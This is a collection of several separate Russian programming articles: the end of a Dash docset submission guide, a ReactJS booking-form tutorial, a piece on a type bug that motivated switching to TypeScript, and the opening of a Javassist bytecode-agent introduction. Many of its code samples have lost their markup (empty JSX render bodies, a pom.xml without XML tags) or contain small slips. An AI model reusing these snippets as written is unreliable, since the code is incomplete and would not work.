Сначала копируем директорию `Sample_Docset` в `docsets`, переименовывая ее при этом. У меня командная строка принимает следующий вид:
```
$ cp -a Sample_Docset docsets/structlog
```
Давайте зайдем в каталог через `cd docsets/structlog` и отсюда двинемся далее.
Самое главное в данном случае – добавить сам *docset*, но в виде *tar*-файла, упакованного в архиве *gzip*. В руководстве для контрибьюторов даже предоставляется шаблон для этой цели. В моем случае командная строка примет вид:
```
$ tar --exclude='.DS_Store' -cvzf structlog.tgz structlog.docset
```
Возможно, вы успели заметить, что я уже упаковал в архив *tar* мой файл *tox*, поэтому мне остается просто его скопировать:
```
$ cp ~/FOSS/structlog/structlog.tgz .
```
Кроме того, он хочет иконок *сверх* тех, что лежат в *docset*, поэтому я копирую их из docset:
```
$ cp ~/FOSS/structlog/structlog.docset/icon* .
```
Далее нам следовало бы заполнить метаданные в файле `docset.html`, и в моем случае это делается очень просто:
```
{
"name": "structlog",
"version": "22.1.0",
"archive": "structlog.tgz",
"author": {
"name": "Hynek Schlawack",
"link": "https://github.com/hynek"
},
"aliases": []
}
```
Наконец, от нас требуется коротко написать, кто мы такие, и как собирать *docset*. Ознакомившись с другими [примерами](https://github.com/Kapeli/Dash-User-Contributions/tree/master/docsets), я остановился на следующем варианте:
```
# structlog
Maintained by [Hynek Schlawack](https://github.com/hynek/).
## Сборка Docset
### Требования
- Python 3.10
- [*tox*](https://tox.wiki/)
### Сборка
1. Clone the [*structlog* repository](https://github.com/hynek/structlog).
2. Check out the tag you want to build.
3. `tox -e docset` will build the documentation and convert it into `structlog.docset` in one step.
```
Фокус с *tox* оправдался - теперь мне никому не придется объяснять, как упаковываются пакеты в Python!
Не забудьте удалить остатки «рыбы» об образце *docset*, эта информация нам не нужна:
```
$ rm -r versions Sample_Docset.tgz
```
Готово! Давайте проверим, что у нас с изменениями:
```
$ git checkout -b structlog
$ git add docsets/structlog
$ git commit -m "Add structlog docset"
[structlog 33478f9] Add structlog docset
5 files changed, 30 insertions(+)
create mode 100644 docsets/structlog/README.md
create mode 100644 docsets/structlog/docset.json
create mode 100644 docsets/structlog/icon.png
create mode 100644 docsets/structlog/icon@2x.png
create mode 100644 docsets/structlog/structlog.tgz
$ git push -u
```
Выглядит хорошо – время делать [пул-реквест](https://github.com/Kapeli/Dash-User-Contributions/pull/3891)!
Через несколько часов:
Предложенный нами structlog docset лежит в Dash!Определённо, это успех: теперь любой может скачать *structlog* *Documentation Set*, и на этом наше краткое руководство завершается!
Заключение
----------
Надеюсь, мне удалось и немного подогреть ваш интерес к документации API, и разоблачить некоторые заблуждения, касающиеся создания собственных наборов документации. Я ставил перед собой цель прокачать навыки тем программистам, кто – как и я – закапываются в бесчисленных пакетах, которые необходимо держать в уме, чтобы справиться с задачей.
Но превыше всего я надеюсь, что моя статья вдохновит кого-нибудь помочь мне с добавлением новых форматов в *doc2dash*, чтобы еще больше стало таких программистов, которые могут позволить себе роскошь иметь всю документацию по API прямо на кончиках пальцев.
Кроме того, закончив эту статью, я стал надеяться, что [*Zeal*](https://github.com/zealdocs/zeal/) удастся оживить. Говорят, он давно застопорился, и последнему релизу уже [четыре года](https://github.com/zealdocs/zeal/releases/tag/v0.6.1). Поскольку это опенсорсный проект, было бы круто, если бы к нему подключились новые руки, и мы располагали бы хорошими обозревателями API на всех платформах. | https://habr.com/ru/post/691908/ | null | ru | null |
# ReactJS in a nutshell. Часть 1
Добрый день, уважаемые читатели.
 В последнее время на Хабре всё чаще упоминается такой замечательный фреймворк, как [React.js](http://facebook.github.io/react/). Я работаю с ним уже 4 месяца, поэтому решил поделиться опытом использования. Решено было сделать небольшую серию статей, которые должны стать максимально кратким полным руководством по фреймворку. Это моя первая публикация на Хабре, поэтому прошу не судить слишком строго. Моя главная задача – рассказать о подходах и практиках, второстепенная – узнать у людей, использовавших React, как они работают с ним и как они решали те или иные кейсы. Ну и, конечно, расширить сообщество фреймворка. Начало я оформил в виде небольшого конспекта-шпаргалки. А дальше только практика.
**\*** *>
> In a nutshell
— знаменитая серия книг от издательства
> O'Reilly
само выражение означает: говорить без лишних объяснений **(прим. автора)***
В первой статье я расскажу, как сделать самую простую страничку, которая будет содержать минимум динамики. А также покажу основные подходы, приёмы и немного мелких хитростей. По возможности весь код будет рассмотрен до мельчайших подробностей. В этом мне поможет небольшой репозиторий: <https://github.com/Aetet/react-article>.
У каждого изменения есть соответствующий тэг. Описания для каждого из них будут представлены по ходу дела.
### Конспект
#### Что такое React и с чем его едят?
React – это якобы только view-фреймворк от Facebook. Да, разработчики немного кривят душой, чего не сделаешь ради маркетинга. На самом деле React является view-ориентированным MVC фреймворком, хотя и не выглядит таковым с первого взгляда. К концу статьи я продемонстрирую наличие всех трёх элементов. Для удобства записи в React используется XML-подобный синтаксис. Так как по умолчанию конструкции, подобные
```
Hello {this.props.name}
явно были бы невалидны для JS, то был придуман формат JSX. Наглядность и быстрый старт для верстальщика - главные достоинства подхода. JSX обрабатывается с помощью React-tools и превращается в обычную JS-конструкцию вида:
```javascript
React.DOM.div(null, "Hello ", this.props.name);
```
#### Про Реакт уже было рассказано:
* http://andreypopp.com/moscowjs-react/#0 В этой презентации [@andreypopp](https://github.com/andreypopp) отлично объясняет на русском термины и основные концепции React.
* http://habrahabr.ru/post/189230/ Очень краткое intro.
* http://habrahabr.ru/post/217295/ Перевод замечательной статьи о внутреннем механизме работы React, который делает основную магию.
#### Основные термины:
**Helper** – объект со множеством разных методов, которые выполняют операции преобразования. Например, форматируют дату, создают текстовые представления классов для view и т.д.
**Manager** – объект, содержащий методы для взаимодействия с серверной частью приложения. Сохранение, получение данных с сервера — всегда значимая часть разработки.
**Props** – данные, которые передаются виджету при рендеринге.
**State** хранит внутреннее состояние виджета (например, он открыт, активен, скрыт и т.д.).
**Component** – блок функциональности, выполняющий специфичную для него функцию.
#### Основные фичи фреймворка:
1. Декларативный подход.
2. Stateless components.
3. Нормализация DOMEvent.
4. Собственная реализация DOM.
5. Следование Unix-way.
6. Возможность применять композицию component'ов и переиспользовать их.
### Практика
Что ж, с маркетингом и вводной частью разобрались, переходим к сути: созданию виджета. "HelloWorld" можно посмотреть и на странице React. Поэтому запилим что-нибудь посложнее — страницу бронирования, например.
#### Постановка задачи
Что же мы на ней разместим? Что требует бизнес бронирования? Давайте для начала сделаем просто:
1. Форма с указанием имени, фамилии, пола человека, для которого мы забронируем местечко.
2. Кнопка Отправить.
Задача очень простая, зато на ней можно хорошо обкатать базовые кейсы и концепции. Время расчехлить инструменты и вспомнить про гитхаб <https://github.com/Aetet/react-article>.
Сборка проекта построена с помощью gulp, модульная система на webpack, stylus, bootstrap. Все настроено и готово к использованию. Поэтому нужно сделать минимум приготовлений:
1. выкачать зависимости через npm install.
2. запустить gulp.
В этой статье я не буду рассматривать настройку и использование gulp, webpack. Уверен, пытливый Хабра-читатель сам найдет информацию по этому вопросу.
#### Организация структуры.
> *Хаос всегда побеждает порядок, поскольку лучше организован.*
>
> **Терри Пратчетт**
**Исходное состояние:** тэг *start*.
**Конечное состояние:** тэг *first-static*.
Для начала наметим обычное статичное содержимое, а потом пойдем глубже.
Мы начинаем с базы:```javascript
/\* *[jsx](https://habr.com/en/users/jsx/) React.DOM* /
var React = require('react');
var Index = React.createClass({
render: function () {
return (
Booking
```
);
```
}
});
React.renderComponent(
, document.querySelector('.appl'));
```
Создание нового виджета состоит из нескольких частей:
1. Создаем класс для component'а Index с помощью React.createClass.
2. Создаем функцию render, которая содержит шаблон.
3. Рендерим класс, передав ему необходимые начальные данные props и селектор, куда будет срендерен элемент.
Так мы получили свой первый Index.
Начинаем идти сверху вниз и производить декомпозицию нашего приложения. Корневым элементом у нас будет component Booking. Плюс у нас есть два главных блока на странице:
1. Информация о пассажире.
2. Кнопка Submit.
Поэтому создаем component'ы PassengerInfo и Submit. Внутрь просто помещаем статичный HTML.```javascript
/**
* @jsx React.DOM
*/
var React = require('react');
var PassengerInfo = React.createClass({
render: function () {
return (
Имя
Фамилия
M
F
);
}
});
module.exports = PassengerInfo;
```
#### Создание state
> Я не раз замечал, что Бог, проявляя пристрастие к дешёвым литературным штампам, нередко насылает на нас погоду, отражающую наше внутреннее состояние.
>
> **Стивен Фрай**
>
>
**Исходное состояние:** *first-static*
**Конечное состояние:** *initialState-propTypes*
Теперь, когда мы создали основную структуру, добавим state (состояние) для нашего виджета бронирования.
Добавим в Booking метод getInitialState.```javascript
getInitialState: function () {
return {
firstName: '',
lastName: '',
gender: ''
};
}
```
При первом рендеринге виджета Booking функция заполняет this.state возвращаемым объектом. Передаём значения из state в component PassengerInfo.```javascript
```
firstName, lastName, gender теперь являются props для component'а PassengerInfo.
Чтобы убедиться, что нам были переданы правильные типы props, добавляем валидацию:```javascript
propTypes: {
firstName: React.PropTypes.string,
lastName: React.PropTypes.string,
gender: React.PropTypes.string
}
```
Теперь, если типом одного из свойств будет не string, в консоли мы получим замечательный warning:
*Warning: Invalid prop `firstName` of type `object` supplied to `PassengerInfo`, expected `string`.*
Описание getInitialState в документации здесь:
http://facebook.github.io/react/docs/component-specs.html#getinitialstate
propTypes:
http://facebook.github.io/react/docs/component-specs.html#proptypes
#### Изменение state.
> *Если бы моя дочь дала мне значок со словом «идиот», я бы надел его.*
> **Хью Лори**
**Исходное состояние:** тэг *initialState-propTypes*
**Конечное состояние:** тэг *handleChange*
Пожалуй, стоит немного поучиться отслеживать, что вообще творится в приложении и как правильно управлять обработчиками.
Чтобы следить за изменениями input , добавим обработчик onChange:```javascript
var PassengerInfo = React.createClass({
handleChange: function (e) {
var target = e.target,
name = target.name,
value = target.value;
this.props.onChange(name, value);
},
render: function () {
return (
...
...
);
}
});
```
В React он немного отличается от поведения обычного onChange. [Подробнее](http://facebook.github.io/react/docs/dom-differences.html).
Аргумент `(e)` в данном случае является SynteticReactEvent`ом, а не DOMEvent`ом, как может показаться на первый взгляд. Объект был специальным образом подготовлен и выращен в лабораторных условиях для кроссбраузерной работы. С некоторыми оговорками.
Хм. Видимо, настал очень важный момент передачи данных в родительский виджет. Нет ничего проще. Нам всего лишь надо постучать соседу сверху шваброй в потолок. Для этого в Booking в props PassengerInfo добавляем функцию onChange.
```
var Booking = React.createClass({
handleChange: function (name, value) {
var state = {};
state[name] = value;
this.setState(s tate);
},
render: function () {
return (
);
}
});
```
Таким образом, state (состояние) верхнего виджета Booking всегда является актуальным. И state отражает состояние дочерних виджетов.
Подробнее об обработчиках событий, которые есть у элементов, можно прочитать здесь:
<http://facebook.github.io/react/docs/events.html>
<http://facebook.github.io/react/docs/dom-differences.html>
О поддержке старых браузеров:
<http://facebook.github.io/react/docs/working-with-the-browser.html#browser-support-and-polyfills>
#### Переиспользуемые виджеты
> *Мы ведь не знаем, что внутри у щенка и что он чувствует. Может, это тоже притворство.*
>
> **Айзек Азимов**
**Исходное состояние:** тэг *handleChange*.
**Конечное состояние:** тэг *Gender-Switcher*.
Лично я люблю небольшие view с очень простым взаимодействием внутри. В PassengerInfo, на мой вкус, многовато верстки. Поэтому я выделю виджет выбора пола в отдельный GenderSwitcher и сделаю его переиспользуемым. Переиспользуемые виджеты обычно храню в Common/Widgets.
Чтобы виджет был по-настоящему переиспользуемым, ему нужно иметь чёткие входные и выходные данные. Очевидно, что для этого виджета входными будет пол по умолчанию, выходными – выбранный пол. Что ж, всё просто. Действуем по аналогии с прошлым примером и получаем:
```
var GenderSwitcher = React.createClass({
propTypes: {
gender: React.PropTypes.string
},
handleClick: function (e) {
var target = e.target,
type = target.dataset.type;
this.props.handleGender(type);
},
render: function () {
return (
М
Ж
);
}
});
```
Используем data-атрибут для получения информации о том, на какой именно элемент мы кликнули. Чтобы получить доступ к этим атрибутам, просто обращаемся к свойству dataset у элемента. К сожалению, я не помню точное место в официальной документации, где об этом сказано. Поэтому буду рад дополнить статью ссылкой насчёт этого момента.
**ВНИМАНИЕ!!!** данный подход может устареть с новой версией:
<https://github.com/facebook/react/issues/1259>
Конечно, можно всю обработку делать через один и тот же обработчик handleChange, но я предпочитаю придерживаться [Unix-way](http://ru.wikipedia.org/wiki/%D0%A4%D0%B8%D0%BB%D0%BE%D1%81%D0%BE%D1%84%D0%B8%D1%8F_UNIX). Одна функция — одно назначение. Поэтому добавим обработчик handleGender.
```
var PassengerInfo = React.createClass({
...
handleGender: function (type) {
this.props.onChange('gender', type);
},
...
});
```
Теперь, чтобы убедиться, что при изменении пола он сохраняется в state, поставим console.log в верхнем виджете Booking.jsx. Откроем страничку, кликнем на М, и действительно – в консоли изменился пол.
#### Время Controlled-component'ов.
> *Люди слишком восприимчивы. Стоит кому-то попытаться вас контролировать, и вы подчиняетесь. Иногда мне кажется, вам это нравится.*
>
> **Доктор Кто**
**Исходное состояние:** тэг *GenderSwitcher*
**Конечное состояние:** тэг *controlled*.
Сделаем так, чтобы input отображал изменения и был controlled.
Для этого к input добавим value, в который будем записывать значение пришедших props.```javascript
type="text"
name="firstName"
value={this.props.firstName} />
```
**Внимание!!!** Если мы просто сделаем```javascript
``` , то input не будет изменяться.
Подробнее о таком поведении:
http://facebook.github.io/react/tips/controlled-input-null-value.html
Я рекомендую делать все input по возможности controlled, чтобы иметь полный контроль над каждым input'ом. Это поможет изменять поведение элемента, если придут новые требования.
#### Утилитные функции
> *Just because they serve you doesn't mean they like you.*
> **Clerks**
**Исходное состояние:** тэг *controlled*
**Конечное состояние:** тэг *viewHelper*
Логика для GenderSwitcher работает, однако нет визуального отображения изменения. Что ж, добавим его.
По сути, изменение GenderSwitcher – это всего лишь изменение this.props.gender.
Поэтому сделаем следующее: в зависимости от пришедшего this.props.gender мы будем добавлять или удалять активный класс элемента. Поскольку я все еще придерживаюсь Unix-way, то буду делать это с помощью внешней функции helper.
Она будет очень простой:```javascript
var GenderViewHelper = {
generateMaleClass: function (gender, defaultClasses) {
var className = defaultClasses.join(' '),
activeClass = (gender === 'm') ? ' btn-primary' : '';
return className + activeClass;
}
};
```
Аналогично делаем для female.
Да, конечно, можно сделать рефакторинг, выделить глобальную функцию helper для классов, но, на мой взгляд, это преждевременная оптимизация.
Плюс есть еще одна хитрость:
<http://facebook.github.io/react/docs/class-name-manipulation.html>
Функция render немного преобразится:```javascript
render: function () {
var maleClass = GenderViewHelper.generateMaleClass(this.props.gender, ['btn']);
var femaleClass = GenderViewHelper.generateFemaleClass(this.props.gender, ['btn']);
return (
М
Ж
);
}
```
#### Вызов серверных ~~духов~~ данных
> *— Я духов вызывать могу из бездны!
> — И я могу, и всякий это может.*
> *Вопрос лишь в том, явятся ль они на зов.*
> **Шекспир. Генрих IV.**
**Исходное состояние:** тэг *viewHelper*
**Конечное состояние:** тэг *save-server*
Статья выходит на финишную прямую, поэтому пришла пора закреплять и сохранять. Отправим наши данные на сервер.
Для этого добавим обработчик у кнопки по клику:```javascript
var Submit = React.createClass({
handleClick: function () {
this.props.onSubmit();
},
render: function () {
return (
Submit
);
}
});
```
И будем ловить этот обработчик в корневом виджете.```javascript
var Booking = React.createClass({
…
handleSubmit: function () {
var dataForServer = clone(this.state);
BookingManager.saveData(dataForServer)
.then(function (successMsg) {
alert(successMsg);
})
.fail(function (err) {
console.log('err when save', err);
});
},
render: function () {
return (
...
…
);
}
});
```
Передавать объекты внутрь методов без предварительного копирования — плохая практика, на мой вкус. Мало ли кто изменит объект внутри функции, хак какой-нибудь наложит, а потом ищи, молись, стучи в бубен. Поэтому хорошая практика — работать с immutable data structure. Конечно, моя реализация клонирования жуть как несовершенна, но никто не мешает подключить нормальные библиотечные функции.
А как же у нас тогда будет выглядеть Manager, который сохраняет данные.
```javascript
var Vow = require('vow');
var BookingManager = {
saveData: function (data) {
var dfd = Vow.defer();
setTimeout(function () {
dfd.resolve('Hello, Habra!' + JSON.stringify(data));
}, 1000);
return dfd.promise();
}
};
module.exports = BookingManager;
```
Как видим, saveData — простая эмуляция ответа от сервера. Defer нужны в основном для удобной работы, если вдруг понадобится ждать несколько событий, и для полной поддержки асинхронности.
У нас начинает вырисовываться четкий жизненный цикл component'а:
1. Рендерим Views
2. Views реагируют на handlers
3. Handlers передают управление callbacks в корневой виджет — Controller.
4. Сохраняем данные в хранилище state.
5. State генерирует событие об изменении.
6. Views начинают заново рендериться.
7. И ситуация пошла по новому кругу.
#### Вместо послесловия
Все-таки ничто MVC-шное React не чуждо. M – state. Да, мы сохраняем наши данные в state, чем не привычная модель? Тем более он излучает события и вызывает изменения в жизненном цикле component'а. V – вся функция render, это одна большая View, которую скрестили вместе с шаблоном. С – корневой виджет, идеальный кандидат на роль контроллера, в нем ~~бизнес встречает деньги~~ данные начинают свое путешествие по props component'ов – V и лежат до востребования в M – state.
Таким образом, создатели React очень изящно подошли к реализации давно известного паттерна. Вместо разделения MVC на отдельные буквы они разделили lifecycle между ними. И получилось, честно говоря, очень здорово. Сейчас я могу с уверенностью сказать, что React — это мой любимый инструмент, работа с которым доставляет большую радость. Конечно, у него есть свои недостатки и свои болячки. Однако для каждого из них можно найти решение или hack. Ведь сейчас над ним работают люди, у которых hackathon является частью корпоративной культуры.
Если хабрасообществу понравится статья, то я напишу еще одну статью про React.
В ней я планирую осветить следующие темы:
1. Масштабный рефакторинг.
2. Масштабирование от простенькой формы к сложной форме со сложным динамическим поведением.
3. Второе пришествие Менеджера, или требования опять поменялись.
4. Подводные камни React.
5. Как спастись от Лукавого jQuery.
6. **UPD:** Stateless компоненты.
7. Роутинг и общая организация приложения.
8. Flux.
В своей работе я использовал следующие инструменты:
1. Библиотека React.JS (<https://github.com/facebook/react>)
2. Система сборки gulp (<https://github.com/gulpjs/gulp>)
3. Модульная система webpack (<https://github.com/webpack/webpack>)
4. Фреймворк connect (<https://github.com/senchalabs/connect>)
5. Библиотека для promise и defer vow (<https://github.com/dfilatov/vow>)
##### P.S.
Эту статью я посвящаю своей маме – моей первой учительнице. | https://habr.com/ru/post/222573/ | null | ru | null |
# Рассказ о том, почему в 2021 году лучше выбирать TypeScript, а не JavaScript
Недавно я, используя React Native, занимался разработкой мобильного приложения для медитации [Atomic Meditation](https://play.google.com/store/apps/details?id=com.doabledanny.atomicmeditation). Эта программа помогает тем, кто ей пользуется, выработать привычку медитировать, ежедневно уделяя этому занятию какое-то время. В ходе работы у меня появились серьёзные причины приступить к изучению TypeScript и начать пользоваться им вместо JavaScript в проектах среднего и крупного размера.
Прежде чем я начну свой рассказ, мне хотелось бы отметить, что вы сможете разобраться в этой статье, даже если никогда не пользовались React Native. Я буду всё подробно объяснять. А если вы делали какие-нибудь проекты на React, то, читая эту статью, можете считать, что React и React Native — это одно и то же.
[](https://habr.com/ru/company/ruvds/blog/556162/)
А теперь расскажу о том, как обычный JavaScript втянул меня в неприятности.
День 1: всё идёт как надо
-------------------------
В React Native есть объект `AsyncStorage`, который представляет собой хранилище данных типа ключ/значение с асинхронным доступом к значениям по ключам. Он даёт разработчику очень простой механизм для организации постоянного хранения данных на мобильном устройстве пользователя.
Например, воспользоваться им можно так:
```
AsyncStorage.setItem("@key", value)
```
`AsyncStorage` позволяет хранить лишь строковые данные. Поэтому для того чтобы поместить в это хранилище число — это число сначала надо конвертировать в строку.
Ниже показано применение React-хука `useState` для объявления переменной `sessionCount` и для установки её начального значения в 0. Тут же имеется и функция `setSessionCount`, которая позволяет менять состояние `sessionCount`:
```
const [sessionCount, setSessionCount] = useState(0)
```
Предположим, пользователь завершил сеанс медитации (я, напомню, занимался разработкой приложения для медитации). В `sessionCount` хранится общее количество сеансов медитации, завершённых пользователем (я буду теперь называть этого пользователя «Anxious Andy» — «беспокойный Энди»). Это значит, что нам надо прибавить `1` к значению, хранящемуся в `sessionCount`. Для этого вызывается функция `setSessionCount`, в которой и выполняется прибавление `1` к предыдущему значению `sessionCount`. А потом количество завершённых медитаций нужно сохранить в `AsyncStorage` в виде строки.
Всё это надо сделать в некоей функции, которую я предлагаю назвать `saveData`:
```
// Пользователь завершил сеанс медитации…
const saveData = () => {
setSessionCount(prev => {
const newSessionCount = prev + 1
AsyncStorage.setItem("@my_number", newSessionCount.toString())
return newSessionCount
})
}
```
Всё идёт хорошо, наш Энди, теперь уже не такой беспокойный, тихо закроет приложение, испытывая прилив хорошего самочувствия.
День 2: затишье перед бурей
---------------------------
Беспокойный Энди получает уведомление, которое напоминает ему о том, что через 5 минут начинается его медитация. Но он не только беспокойный, но ещё и нетерпеливый. Поэтому он тут же идёт к себе в комнату, находит своё рабочее кресло, удобно (но при этом — сохраняя ясное сознание) в него садится и открывает программу.
Теперь, когда программа загружается, данные сессии Энди нужно прочитать из хранилища. В React хук `useEffect` позволяет выполнять функцию-коллбэк при монтировании компонента.
В коллбэке мы асинхронно получаем данные из хранилища, а после этого вызываем функцию `setSessionCount()`, передавая ей эти данные, то есть — `«1»`:
```
useEffect(() => {
AsyncStorage.getItem("@my_number").then(data => setSessionCount(data))
}, [])
```
Беспокойный Энди успешно справляется с ещё одной медитацией. Поэтому к `sessionCount` надо добавить 1, что позволит сохранить общее число завершённых сеансов медитации.
Новое значение, как и прежде, мы записываем в хранилище:
```
// Пользователь завершил сеанс медитации…
const saveData = () => {
setSessionCount(prev => {
const newSessionCount = prev + 1
AsyncStorage.setItem("@my_number", newSessionCount.toString())
return newSessionCount
})
}
```
К настоящему моменту пользователь завершил 2 сеанса медитации.
День 3: буря
------------
Энди, теперь — уже вовсе не беспокойный, достаёт телефон и открывает приложение для того чтобы в третий раз подряд устроить сеанс медитации (и дела у него идут хорошо).
Он хочет узнать о том, как далеко продвинулся в деле выработки полезной привычки. Поэтому он открывает экран статистики. «О, да тут много всего интересного», — приговаривает он. «Отличная программа!».
Но его любовь к этой программе быстро сходит на нет…
Программа сообщает ему о том, что он провёл 11 сеансов медитации. А он-то медитировал всего два раза!
*Неправильная статистика по сеансам медитации*
Что пошло не так?
-----------------
В первый день мы записали в `sessionCount` начальное значение — число `0`.
Пользователь завершил сеанс медитации — поэтому мы добавили к `sessionCount` `1`. Затем мы преобразовали то, что получилось, в строку — в `«1»`, после чего записали это в асинхронное хранилище (вспомните — оно может хранить только строковые данные).
Во второй день мы загружаем данные из хранилища и записываем в `sessionCount` загруженное значение. То есть — `«1»` (строку, а не число).
Пользователь завершает сеанс медитации и мы прибавляем к `sessionCount` `1`. А в JavaScript `«1» + 1` равняется `«11»`, а не `2`.
Мы забыли преобразовать строковые данные, считанные из хранилища, в число.
А хуже всего тут то, что наша программа при этом не выдала никаких сообщений об ошибках. Эта ошибка какое-то время оставалась незамеченной, а позже довела нас до неприятностей. Поиск источников подобных проблем может оказаться не таким уж и простым делом.
JavaScript позволил нам свободно, не сознавая того, что мы делаем, поменять в ходе выполнения программы тип данных, хранящихся в переменной.
Решить эту и другие подобные проблемы можно с помощью TypeScript.
Что такое TypeScript?
---------------------
Если вы не знакомы с TypeScript, то знайте, что это, в сущности, то же самое, что и JavaScript, но оснащённое некоторыми полезными возможностями. В частности, переменные не могут менять типы. А если это случится — TypeScript выдаст сообщение об ошибке.
Браузеры не могут выполнять TypeScript-код. Поэтому TypeScript-файлы проекта надо транспилировать в JavaScript. На выходе получится несколько JavaScript-файлов (или один большой «бандл» с JS-кодом проекта).
Использование TypeScript в React Native-проектах
------------------------------------------------
Добавить поддержку TypeScript в существующий React Native-проект [очень просто](https://reactnative.dev/docs/typescript). А именно, надо будет кое-что установить из npm и сделать пару настроек.
Теперь нужно будет лишь переименовать файлы с кодом, например — `App.js` в `App.tsx`, после чего заработает автоматическая система контроля типов.
После того, как изменено расширение файла, TypeScript разразится гневной тирадой о том, что аргумент типа `'string | null'` нельзя назначить параметру типа `'SetStateAction'`.
*TypeScript предупреждает разработчика о том, что с типами данных что-то не так*
Это значит, что мне тут, чтобы избавиться от сообщения об ошибке, надо, во-первых, проверить `data` на `null`, а во-вторых — преобразовать из строки в число (воспользовавшись `parseInt()`):
```
useEffect(() => {
AsyncStorage.getItem("@my_number").then(data => {
if (data) {
setSessionCount(parseInt(data))
}
})
}, [])
```
Использование TypeScript подталкивает разработчика к написанию более качественного и надёжного кода. Это просто замечательно!
По каким материалам изучать TypeScript?
---------------------------------------
Я изучал TypeScript по [этому](https://www.youtube.com/watch?v=2pZmKW9-I_k&list=PL4cUxeGkcC9gUgr39Q_yD6v-bSyMwKPUI&ab_channel=TheNetNinja) видеокурсу канала Net Ninja. И если бы мне надо было бы что-нибудь изучить, то я в первую очередь поинтересовался бы тем, нет ли на этом канале курса по тому, что мне нужно.
Кроме того, официальная [документация](https://www.typescriptlang.org/) по TypeScript очень даже хороша.
Итоги
-----
Теперь, благодаря TypeScript, я могу спать немного спокойнее, зная о том, что переменные в моём проекте не могут совершенно неожиданно менять свои типы. Спасибо за это TypeScript.
Да, не могу не отметить, что JavaScript хорошо подходит для маленьких проектов. Но при работе над средними и большими проектами, а так же — над маленькими проектами, которые вполне могут вырасти, лучше, пожалуй, прибегнуть к TypeScript, даже если для этого придётся потратить время на его изучение. А если вы знаете JavaScript, то и TypeScript освоите без особого труда.
Используете ли вы TypeScript в своих React-проектах?
[](https://habr.com/ru/company/ruvds/blog/557204/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=rasskaz_o_tom_pochemu_v_2021_godu_luchshe_vybirat_typescript__a_ne_javascript) | https://habr.com/ru/post/556162/ | null | ru | null |
# Знакомимся с Javassist
Часть первая
------------
Всем большой привет! Перед началом стоит сказать, что библиотека Javassist довольно мощный инструмент, так как стирает почти все границы у того безграничного языка JAVA, позволяя разработчику осуществлять манипуляции связанные с байткодом.
Конечно, получив доступ к байткоду, а ровно и к возможности воздействовать на этот самый байткод вам совсем не обязательно вклиниваться в него. Javassist можно использовать и в “мирных” целях!
При многообразии возможностей не стоит забывать о том, что использовать библиотеку нужно только тогда, когда это действительно необходимо. Использование данного инструмента делает основной код менее понятным, так как после применения Javassist у вас появится второе полноценное приложение, в котором будет жить Java со своей логикой.
Итак, если после всех предостережений вы все же решили использовать эту библиотеку, то давайте начинать!
В этой статье мы рассмотрим Javassist, как инструмент, с помощью которого мы будем вклиниваться в существующий байткод и трансформировать его.
Потребоваться это может в разных случаях. Например, у вас под рукой есть некая библиотека, в которой все классы уже скомпилированы и все зависимости вместе с запускающим методом упакованы в JAR архив. И вот, случилось так, что по какой-то причине вам нужно изменить реализацию того или иного метода. Предположим, вы нашли баг в библиотеке, или возможно требуется, чтобы были выполнены какие-нибудь дополнительные действия, в виде подсчета чего-нибудь, отправки оповещения о том или ином событии при старте вашего приложения и при определенных условиях.
Как и говорилось выше, после использования Javassist у вас появится второе полноценное приложение, в котором будет жить Java со своей логикой. Почему это происходит? Почему нельзя запаковать все в одно приложение?
Ответ очевиден – приложение не может само себя изменять. Т.е. приложение не может само изменять свой же байткод. Это должен делать кто-то другой. Этот кто-то другой – такое же Java приложение, но заточенное на работу с байткодом.
Итак, теперь мы знаем, что использование второго приложения, в котором и будет крутиться вся логика, связанная с использованием Javassist просто неизбежно. Дело в том, что это самое приложение загружается в JVM первым, разворачивается там и начинает пропускать через себя все классы, которые необходимы для работы уже самого целевого приложения.
Что же происходит под капотом JVM? Каким образом первое приложение с Javassist может пропускать через себя байткод? Как это вообще работает?
Все мы привыкли видеть в Maven такой тег как . В этом теге указывается путь до файла MANIFEST.MF. В свою очередь в файле манифеста прописывается точка входа в приложение. Всегда это выглядит так: Main-Class: путь до класса.Класс в котором расположен одноименный метод main. Но Javassist в силу своей специфики априори не может запускаться как обычное Java-приложение. Должно быть что-то, что отличает такое “чудо-приложение” от обычного. И, конечно, такая особенность есть. Дело в том, что в приложение Javassist нет привычного для нас всех метода main. Вместо этого метода используется метод, который именуется как premain. В принципе, название говорит само за себя. Этот метод главнее чем метод main. Собственно, потому он и называется premain. Логично, что и содержимое файла манифеста MANIFEST.MF теперь будет другим. Вместо “Main-Class” теперь будет использоваться “Premain-Class:”.
Содержимое MANIFEST.MF с Premain-Class:
```
Manifest-Version: 1.0
Premain-Class: app.Agent
Built-By: Vasilyev Pavel
Created-By: Apache Maven 3.6.1
Build-Jdk: 1.8.0_201
```
Листинг 1.
На вкус и цвет…, но все же не несущие особого value параметры я удалю:
```
Premain-Class: app.Agent
```
Листинг 2.
Так будет выглядеть MANIFEST.MF, если мы все это будем прописывать руками. Этот манифест в дальнейшем будет зашит в JAR файл и лежать вместе с package, в которых находятся скомпилированные Java-классы. Чтобы избежать лишнего конфигурирования мы воспользуемся плагином, который сам все упакует и подложит куда нужно.
```
org.apache.maven.plugins
maven-shade-plugin
3.2.4
package
shade
agent
app.Agent
```
Листинг 3.
И конечно же мы не можем забыть, собственно, о самой библиотеке Javassist.
```
org.javassist
javassist
3.20.0-GA
```
Листинг 4.
В итоге мы имеем Maven-проект с подключенной библиотекой в зависимостях pom.xml.
Весь код pom.xml:
```
xml version="1.0" encoding="UTF-8"?
4.0.0
com.agent
javaagent
1.0-SNAPSHOT
1.8
1.8
true
UTF-8
org.javassist
javassist
3.20.0-GA
org.apache.commons
commons-lang3
compile
3.11
org.apache.maven.plugins
maven-shade-plugin
3.2.4
package
shade
agent
app.Agent
```
Листинг 5.
Теперь, когда все готово для упаковки в нужную структуру, можно написать и сам код, который будет исполняться и пропускать через себя байткод скомпилированных классов из другого JAR файла. Но так как мы еще не написали Java-код для целевого Java-проекта, то оставим эту заготовку в виде Maven проекта с подключенной библиотекой, а потом дополним эту заготовку логикой по трансформации исполняемого байткода.
#### Пишем целевое Java-приложение
Это будет самый обычный java-проект, в котором существует класс Main:
```
public class Main {
static int myInt1 = 77;
public static void main(String[] args) {
System.out.println("Hello World and myInt1 = " + myInt);
}
}
```
Листинг 6.
Наша цель:
Внедрить в байткод класса Main свою реализацию метода main и запустить код на исполнение. Итак, наше целевое приложение для опытов написано! Теперь соберем его в Jar архив и приступим к наполнению логикой нашей заготовки, которую мы бережно написали в первой части.
#### Работаем с Javassist
